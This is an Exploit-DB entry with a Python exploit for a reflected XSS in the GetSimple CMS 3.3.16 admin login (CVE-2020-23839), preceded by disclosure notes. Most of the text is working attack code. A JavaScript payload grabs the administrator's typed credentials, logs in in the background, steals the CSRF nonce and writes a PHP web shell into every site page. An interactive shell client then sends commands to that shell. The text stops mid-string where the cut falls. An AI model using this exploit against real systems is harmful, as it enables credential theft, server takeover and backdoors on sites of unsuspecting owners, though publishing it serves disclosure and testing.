Exploit-DB #49726
Description: GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-03-30
Author: boku

Exploit:
# Exploit Title: GetSimple CMS 3.3.16 - Reflected XSS to RCE
# Exploit Author: Bobby Cooke (boku)
# Discovery Credits: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec)
# Date: March 29th, 2021
# CVE ID: CVE-2020-23839 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-23839
# Vendor Homepage: http://get-simple.info
# Software Link: http://get-simple.info/download/
# Version: v3.3.16
# Tested against Server Host: Windows 10 Pro + XAMPP
# Tested against Client Browsers: Firefox(Linux), Chrome (Linux & Windows), Edge
# Full Disclosure & Information at: https://github.com/boku7/CVE-2020-23839

#  Vulnerability Description:
#  GetSimple CMS v3.3.16 suffers from a Reflected XSS on the Admin Login Portal. On August 12th, 2020, the vendor received full disclosure details of the vulnerability via private email. The vulnerability was publicly disclosed on September 13th, 2020 #  via MITRE with the publication of CVE-2020-23839, which contained little details and no proof of concept. On January 20th, 2021 full disclosure and code analysis was publicly disclosed under the GetSimple CMS GitHub active issues ticket.
#  Exploit Description:
#  This exploit creates a Reflected XSS payload, in the form of a hyperlink,  which exploit CVE-2020-23839. When an Administrator of the GetSimple CMS system goes to this URL in their browser and enters their credentials, a sophisticated exploitation #  attack-chain will be launched, which will allow the remote attacker to gain Remote Code Execution of the server that hosts the GetSimple CMS system.
#  Attack Chain:
#  1. Attacker tricks GetSimple CMS Admin to go to the URL provided from this exploit
#  2. Admin then enters their credentials into the GetSimple CMS login portal
#  3. Reflected XSS Payload triggers onAction when the Admin clicks the Submit button or presses Enter
#  4. The XSS payload performs an XHR POST request in the background, which logs the browser into the GetSimple CMS Admin panel
#  5. The XSS payload then performs a 2nd XHR GET request to admin/edit-theme.php, and collects the CSRF Token & Configured theme for the webpages hosted on the CMS
#  6. The XSS payload then performs a 3rd XHR POST request to admin/edit-theme.php, which injects a PHP backdoor WebShell to all pages of the CMS
#  7. The exploit repeatedly attempts to connect to the public /index.php page of the target GetSimple CMS system until a WebShell is returned
#  8. When the exploit hooks to the WebShell, an interactive PHP WebShell appears in the attackers console

import sys,re,argparse,requests
from urllib.parse import quote
from colorama import (Fore as F, Back as B, Style as S)
from time import sleep

FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
def bullet(char,color):
    C=FB if color == 'B' else FR if color == 'R' else FG 
    return SB+FB+'['+ST+SB+char+SB+FB+']'+ST+' '
info,err,ok = bullet('-','B'),bullet('-','R'),bullet('+','G')

def webshell(SERVER_URL):
    try:
        WEB_SHELL = SERVER_URL
        getdir  = {'FierceGodKick': 'echo %CD%'}
        r = requests.post(url=WEB_SHELL, data=getdir, verify=False)
        status = r.status_code
        cwd = re.findall(r'[CDEF].*', r.text)
        if cwd:
            cwd = cwd[0]+"> "
            term = SB+FG+cwd+FT
            print(SD+FR+')'+FY+'+++++'+FR+'['+FT+'=========>'+ST+SB+'     WELCOME BOKU     '+ST+SD+'<========'+FR+']'+FY+'+++++'+FR+'('+FT+ST)
            while True:
                thought = input(term)
                command = {'FierceGodKick': thought}
                r = requests.post(WEB_SHELL, data=command, verify=False)
                status = r.status_code
                if status != 200:
                    r.raise_for_status()
                response = r.text
                print(response)
        else:
            r.raise_for_status()
    except:
        pass

def urlEncode(javascript):
    return quote(javascript)

def genXssPayload():
    XSS_PAYLOAD = '/index/javascript:'
    XSS_PAYLOAD += 'var s = decodeURIComponent("%2f");'
    XSS_PAYLOAD += 'var h = "application"+s+"x-www-form-urlencoded";'
    XSS_PAYLOAD += 'var e=function(i){return encodeURIComponent(i);};'
    XSS_PAYLOAD += 'var user = document.forms[0][0].value;'
    XSS_PAYLOAD += 'var pass = document.forms[0][1].value;'
    XSS_PAYLOAD += 'var u1 = s+"admin"+s;'
    XSS_PAYLOAD += 'var u2 = u1+"theme-edit.php";'
    XSS_PAYLOAD += 'var xhr1 = new XMLHttpRequest();'
    XSS_PAYLOAD += 'var xhr2 = new XMLHttpRequest();'
    XSS_PAYLOAD += 'var xhr3 = new XMLHttpRequest();'
    XSS_PAYLOAD += 'xhr1.open("POST",u1,true);'
    XSS_PAYLOAD += 'xhr1.setRequestHeader("Content-Type", h);'
    XSS_PAYLOAD += 'params = "userid="+user+"&pwd="+pass+"&submitted=Login";'
    XSS_PAYLOAD += 'xhr1.onreadystatechange = function(){'
    XSS_PAYLOAD += 'if (xhr1.readyState == 4 && xhr1.status == 200) {'
    XSS_PAYLOAD += 'xhr2.onreadystatechange = function(){'
    XSS_PAYLOAD += 'if (xhr2.readyState == 4 && xhr2.status == 200) {'
    XSS_PAYLOAD += 'r=this.responseXML;'
    XSS_PAYLOAD += 'nVal = r.querySelector("#nonce").value;'
    XSS_PAYLOAD += 'eVal = r.forms[1][2].defaultValue;'
    XSS_PAYLOAD += 'xhr3.open("POST",u2,true);'
    XSS_PAYLOAD += 'xhr3.setRequestHeader("Content-Type", h);'
    XSS_PAYLOAD += 'payload=e("<?php echo shell_exec($_REQUEST[FierceGodKick]) ?>");'
    XSS_PAYLOAD += 'params="nonce="+nVal+"&content="+payload+"&edited_file="+eVal+"&submitsave=Save+Changes";'
    XSS_PAYLOAD += 'xhr3.send(params);'
    XSS_PAYLOAD += '}};'
    XSS_PAYLOAD += 'xhr2.open("GET",u2,true);'
    XSS_PAYLOAD += 'xhr2.responseType="document";'
    XSS_PAYLOAD += 'xhr2.send();'
    XSS_PAYLOAD += '}};'
    XSS_PAYLOAD += 'xhr1.send(params);'
    XSS_PAYLOAD += '%2f%2f'
    return XSS_PAYLOAD

def argsetup():
    about  = SB+FT+'This exploit creates a Reflected XSS payload, in